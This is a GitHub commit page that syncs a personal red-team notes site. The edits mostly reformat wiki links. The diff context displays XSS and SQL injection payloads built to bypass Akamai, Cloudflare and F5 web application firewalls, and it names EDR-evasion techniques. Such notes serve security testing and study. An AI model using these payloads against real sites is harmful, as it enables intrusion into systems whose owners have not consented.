Skip to content

Commit

Permalink
Quartz sync: Apr 3, 2024, 3:58 PM
Browse files Browse the repository at this point in the history
  • Loading branch information
opfuchs committed Apr 3, 2024
1 parent fe172f8 commit 87d6a07
Show file tree
Hide file tree
Showing 7 changed files with 18 additions and 15 deletions.
3 changes: 2 additions & 1 deletion content/Evasion/EDR Evasion/KAPC Injection.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@

Maybe merge with [[content/Evasion/EDR Evasion/Image Load and Registry Monitoring|Image Load and Registry Monitoring]]
Maybe merge with [[Image Load and Registry Monitoring]]

4 changes: 3 additions & 1 deletion content/Evasion/EDR Evasion/PPID Spoofing.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
Maybe merge with [[content/Evasion/EDR Evasion/Process and Thread Creation Monitoring|Process and Thread Creation Monitoring]]
Maybe merge with [[Process and Thread Creation Monitoring]]



Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ tags:

# Introduction to the introduction

Welcome to the series! Here, we'll discuss some basic setup and environment considerations both so you have an idea of where to start and so that you have some idea of what we're attacking. As mentioned in the [[content/Introduction to Red Teaming with Sliver/README|README]], I'm don't aim to be comprehensive or step-by-step here, but I don't want you to be disoriented either.
Welcome to the series! Here, we'll discuss some basic setup and environment considerations both so you have an idea of where to start and so that you have some idea of what we're attacking. As mentioned in the [[content/Introduction to Red Teaming with Sliver/README|README]]I'm don't aim to be comprehensive or step-by-step here, but I don't want you to be disoriented either.

# Preliminary considerations

Expand Down
4 changes: 2 additions & 2 deletions content/Web/Payloads/SQLi.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,14 +8,14 @@ Sysdate/Sleep/XOR:

# F5

F5 [[content/Web/Payloads/WAF Bypass|WAF Bypass]] 1:
F5 [[WAF Bypass]]1:

```
+{`nothing`/*str*/(')}div%0B1+'
+{`nothing`/*str*/(')}div%0B0+'
```

F5 [[content/Web/Payloads/WAF Bypass|WAF Bypass]] 2:
F5 [[WAF Bypass]] 2:

```
{`noth`/*ing*/821}+union+%23%0a+distinctrow%0b/**/select+1,2,3--{`nothing`/**/TRUE}
Expand Down
10 changes: 5 additions & 5 deletions content/Web/Payloads/WAF Bypass.md
Original file line number Diff line number Diff line change
@@ -1,20 +1,20 @@
# General

Hide [[content/Web/Payloads/XSS|XSS]] payload in style tag of an SVG or math element for WAF or sanitizer bypass:
Hide [[XSS]] payload in style tag of an SVG or math element for WAF or sanitizer bypass:

```
<svg><style> <script>alert(1)</script> </style></svg> <math><style> <img src onerror=alert(2)> </style></math>
```
# Akamai

[[content/Web/Payloads/XSS|XSS]] bypass 1:
[[XSS]] bypass 1:

```
1'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](1)>
```
# Cloudflare

[[XSS]] bypass 1:
[[XSS]]bypass 1:

```
"><body/onload="{x:onerror=alert};x
Expand All @@ -28,14 +28,14 @@ Hide [[content/Web/Payloads/XSS|XSS]] payload in style tag of an SVG or math ele

# F5

[[XSS]] bypass 1:
[[XSS]]bypass 1:

```
+{`nothing`/*str*/(')}div%0B1+'
+{`nothing`/*str*/(')}div%0B0+'
```

[[XSS]] bypass 2:
[[XSS]]bypass 2:

```
{`noth`/*ing*/821}+union+%23%0a+distinctrow%0b/**/select+1,2,3--{`nothing`/**/TRUE}
Expand Down
8 changes: 4 additions & 4 deletions content/Web/Payloads/XSS.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,25 +7,25 @@ General 1:
`url=%26%2302java%26%23115cript:alert(document.domain)`
```

Akamai [[content/Web/Payloads/WAF Bypass|WAF Bypass]] 1:
Akamai [[WAF Bypass]] 1:

```
1'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](1)>
```

Cloudflare [[content/Web/Payloads/WAF Bypass|WAF Bypass]]1:
Cloudflare [[WAF Bypass]] 1:

```
"><body/onload="{x:onerror=alert};x
```

Cloudflare [[content/Web/Payloads/WAF Bypass|WAF Bypass]] 2:
Cloudflare [[WAF Bypass]] 2:

```
<inpuT autofocus oNFocus="setTimeout(function() { /*\`*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\`*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;
```

Hide payload in style tag of an SVG or math element for [[content/Web/Payloads/WAF Bypass|WAF Bypass]]or sanitizer bypass:
Hide payload in style tag of an SVG or math element for [[WAF Bypass]] or sanitizer bypass:

```
<svg><style> <script>alert(1)</script> </style></svg> <math><style> <img src onerror=alert(2)> </style></math>
Expand Down
2 changes: 1 addition & 1 deletion content/Web/Recon.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
See also Recon and OSINT - [[content/Recon and OSINT/Web|Web]]
See also Recon and OSINT - [[Web]]
# Directories

Get rootdirs from a list of links one-liner:
Expand Down

0 comments on commit 87d6a07

Please sign in to comment.